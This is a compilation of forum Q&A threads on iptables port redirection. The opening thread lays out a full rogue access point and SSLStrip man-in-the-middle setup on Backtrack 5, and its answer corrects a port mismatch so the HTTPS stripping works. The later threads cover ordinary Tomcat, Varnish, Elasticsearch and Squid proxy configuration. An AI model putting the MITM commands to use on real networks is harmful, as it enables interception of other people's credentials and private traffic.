I am having trouble with SSLStrip in a MITM Setup with Backtrack 5. I am using an external wireless card to broadcast the wireless signal, and routing through an Ethernet. I am successfully viewing the packets in Wireshark, however I would like to view SSL data using SSLStrip. These are the preliminary commands I use to set up MITM.
airmon-ng start wlan1
airbase-ng --essid mitm 11 mon0
--new Terminal--
brctl addbr mitm-bridge
brctl addif mitm-bridge eth0
brctl addif mitm-bridge at0
ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up
ifconfig mitm-bridge 192.168.0.199 up
echo 1 > /proc/sys/net/ipv4/ip_forward
At this point, I can view packet data in WireShark. I follow these steps to set up SSLStrip
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 666
cd /pentest/web/sslstrip
sslstrip -l 8080
When I am finished with the session and I open sslstrip.log I do not see any data written to the file. Also, I am unable to access the internet once I do the iptables redirect. Please let me know what you think the problem might be.
Assuming sslstrip and arp poisoning are up and running you have a problem with port redirection.
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 666
redirects http traffic to 127.0.0.1 port 666.
cd /pentest/web/sslstrip
sslstrip -l 8080
starts sslstrip listening for incoming traffic on port 8080
U can either change port redirection to 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
or change the listening port to 666
sslstrip -l 666
Related
I have a ec2 instance with centos and a tomcat server running on it on port 8080.
My security group has an open port for HTTPS (443)
For the redirection I've added the following iptables rules:
iptables -A INPUT -i eth0 -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -i eth0 -p tcp --dport 8443 -j ACCEPT
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-ports 8443
sudo iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8443
Now i can connect from my instance to port 443 and get redirected to port 8443.
https://localhost
https://54.247.86.18 (elastic ip)
But from external this doesn't work. If I connect to https://54.247.86.18 from browser I get an no server found error.
Any ideas how to resolve it?
I created a bash script to switch between using Apache and Varnish
But the commands of restarting the httpd service not working RECENTLY
the script was working fine before months
#!/bin/bash
echo "Switching between Apache and Varnish cache"
if grep -Fxq "apache_port=0.0.0.0:80" /var/cpanel/cpanel.config
then
sed -i '/apache_port/c\apache_port=0.0.0.0:8080' /var/cpanel/cpanel.config
else
sed -i '/apache_port/c\apache_port=0.0.0.0:80' /var/cpanel/cpanel.config
fi
/usr/local/cpanel/whostmgr/bin/whostmgr2 –updatetweaksettings &&
/scripts/rebuildhttpdconf &&
service httpd restart &&
service varnish restart &&
echo "Done"
I don't know Why the restarting oof httpd is not working exactly
What about to use iptables port redirection instead?
Basically, you have your varnish and apache running on their own unprivileged ports concurrently and redirect all traffic to port 80 to varnish or apache on kernel level.
Let run varnish on 0.0.0.0:6081 and apache on 0.0.0.0:8080 and play with these 2 command sets (under root or sudo):
To switch traffic to apache (assuming we have already it directed to varnish):
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080 && \
iptables -t nat -D PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 6081
# first command adds rule to redirect all traffic on interface eth0 (adjust as needed) from port 80 to port 8080, rule is added to the end of rules list, so already active rule redirecting traffic to 6081 is still in charge with higher priority
# second line deletes rule redirecting traffic from port 80 to port 6081, to new rule can come into effect. moreover, it's executed only if previous command (-A) was finished successfully.
To switch it back to varnish:
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 6081
iptables -t nat -D PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
# inverted rules from above, adds redirection to 6081 and removes redirection to 8080 if addition was successful
Pros:
No varnish restarts, so no cold cache.
No port 80 outage overall if you first add the new redirection rule and then delete still valid older one.
Much safer, if addition of the first rule fails, skip deleting still valid rule and report problem. You are still running as before failed attempt. Just play with scripts as needed.
Cons:
No cache eviction as there is no varnish restart. But I guess this is not the reason you try to switch traffic to apache. And you can evict varnish separately if you need afterall. :)
How can I run ElasticSearch on port 80? I modified the elasticsearch.yml file to point to port 80, but it doesn't seem to work.
I am however able to run it on other ports like 8000, but when we are pointing to port 80 it doesn't seem to work.
http.port: 8000 (This works)
http.port: 80 (Doesn't seem to work)
In order to change port 80 you need root privileges (as of with all the ports underneath 1024)
You can forward the connection as follow
iptables -A INPUT -i eth0 -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -i eth0 -p tcp --dport 8060 -j ACCEPT
iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8060
Source: source
I have three boxes: a Linux client, a OpenWRT router, and a Squid server. I'm trying to get the client (which is connected to the router) web traffic to go through the proxy server without any client configuration.
Using this iptables rule on the router seems to make the client traffic go to the proxy just fine (I can see the request in the access.log):
iptables -t nat -A PREROUTING -i br-lan -p tcp --dport 80 -j DNAT --to $PROXY_IP:3128
But the traffic doesn't seem to make it back to the client. I get this error on the client's web browser:
The requested URL could not be retrieved. Invalid URL
It almost looks like the hostname is missing by the time it get's back to the client. Am I missing an iptables rule? On the router or on the proxy server? Or do I need set a route?
My end goal is to have dansguardian running on the proxy server. The router is not powerful enough to run the filter and that is why I have a separate server for that.
Got it to work!
The only iptables rule I needed on the router was:
iptables -t nat -A PREROUTING -i br-lan -p tcp --dport 80 -j DNAT --to $PROXY_IP:8080
And the rules I needed on the squid/dansguardian server was:
iptables -t nat -A PREROUTING -i tun0 -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A OUTPUT -p tcp --dport 80 -m owner --uid-owner proxy -j ACCEPT
iptables -t nat -A OUTPUT -p tcp --dport 3128 -m owner --uid-owner proxy -j ACCEPT
iptables -t nat -A OUTPUT -p tcp --dport 3128 -j REDIRECT --to-ports 8080
After creating those rules, I was able to see the client's traffic in the /var/log/squid3/access.log and /var/log/dansguardian/access.log logs and all of the client's traffic was coming back through just fine (with the web content filtering working perfectly).
Basically started with Squid and iptables today (google is your friend). This stuff is going to be the death of me.
I have Squid3 setup on Ubuntu 9.04 server as Transparent Proxy. It works sweetly when i use the proxy-box as my default gateway etc. The iptable rules for this setup was part of the tutorial. :P
I can unfortunately not access https sites (such as Gmail or anything on port 443 basically). This is because Squid dont like what it cannot cache, which in this case is the https traffic.
I would like to add an iptable rule so that i can basically access https sites and use Skype. Basically allow these types of traffic to pass through without going through Squid proxy? (bypassing it so to speak)
Would anyone perhaps know how to do this or have a link to any sources that would assist me in figuring it out?
Thank you.
After actually considering chewing through my own wrists and dreaming of IPs all night long + brute force googling/trying ANYTHING i could get my digital fingers on i managed to put something together that actually works. I dont know the technical reasons why, so if you can provide set explanations please do so! :D
PS: everything in the explanation is done via command line
PS: this is not a final solution, but its a working one in answer to my own question.
Here it is:
Step 1: Had to enable IP Forwarding on the box:
vim /etc/sysctl.conf
//find and uncomment the following
net.ipv4.ip_forward=1
net.ipv4.conf.all.rp_filter=1
Step 2: Add loop back rule (this is more for when all ports are covered, apparently many apps need it?
iptables -I INPUT -i lo -j ACCEPT
Step 3. Add rules for the bypassing of port 443: (eth1 is internet interface and x.x.x.x/eth0 is LAN interface)
iptables -t filter -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -t filter -A FORWARD -i eth0 -p tcp --dport 443 -j ACCEPT
iptables -t nat -A POSTROUTING -o eth1 -j SNAT --to-source x.x.x.x
Step 4. Then finally the rules making Squid transparent:(x.x.x.x is IP of LAN interface)
iptables -t nat -A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j DNAT --to-destination x.x.x.x:3128
iptables -t nat -A PREROUTING -i eth1 -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 3128
iptables -t nat -A POSTROUTING -o eth1 -j SNAT --to-source x.x.x.x
That is wrong. Means that every packet TCP/UDP/etc that you send from your intern LAN to Internet will use as SOURCE IP the Private LAN IP (probably 192.178.x.x), instead of the Public IP.
May be that helps you:
PREROUTING == DestinationNAT -> From Internet to Intern LAN
POSTROUTING == SourceNAT -> From Intern LAN to Internet
iptables -t nat -A PREROUTING -i intern -p tcp --dport 80 -j REDIRECT --to-ports 3128
iptables -A INPUT -j ACCEPT -m state --state NEW,ESTABLISHED,RELATED -i intern -p tcp --dport 3128
iptables -A OUTPUT -j ACCEPT -m state --state NEW,ESTABLISHED,RELATED -o extern -p tcp --dport 80
iptables -A INPUT -j ACCEPT -m state --state ESTABLISHED,RELATED -i extern -p tcp --sport 80
iptables -A OUTPUT -j ACCEPT -m --state ESTABLISHED,RELATED -o intern -p tcp --sport 80
To bypasss 443 would be enough with:
iptables -I FORWARD -p tcp --dport 443 -j ACCEPT
And if your system/squid/firewall is also the router from your network to internet, do not forget:
iptables -t nat -A POSTROUTING -o extern -j SNAT --to-source Public_external_IP
For those explanations...
step #1 sets up the machine as a router. This is required for any Linux machine that is going to accept or forward IP traffic destined for machines other than itself. Without this the lowest levels of the networking stack will reject the traffic and NAT will not even get a chance to do its thing.
step #2 is not relevant to the problem being asked about. It may or may not be needed for the router operations unrelated to the proxying.
step #3 lets the machine relay port 443 normally as a router. The POSTROUTING rule could be made better by using MASQUERADE instead of SNAT.
step #4 both lines do the same thing in different ways. The first line may lead you to trouble in future if you dont know what the differences are between DNAT and REDIRECT. For simplicity use REDIRECT only.
Reading http://wiki.squid-cache.org/ConfigExamples/Intercept/LinuxRedirect could have saved you a lot of trouble.
There is also a critical mangle table rule missing from your setup which is explained on that wiki page.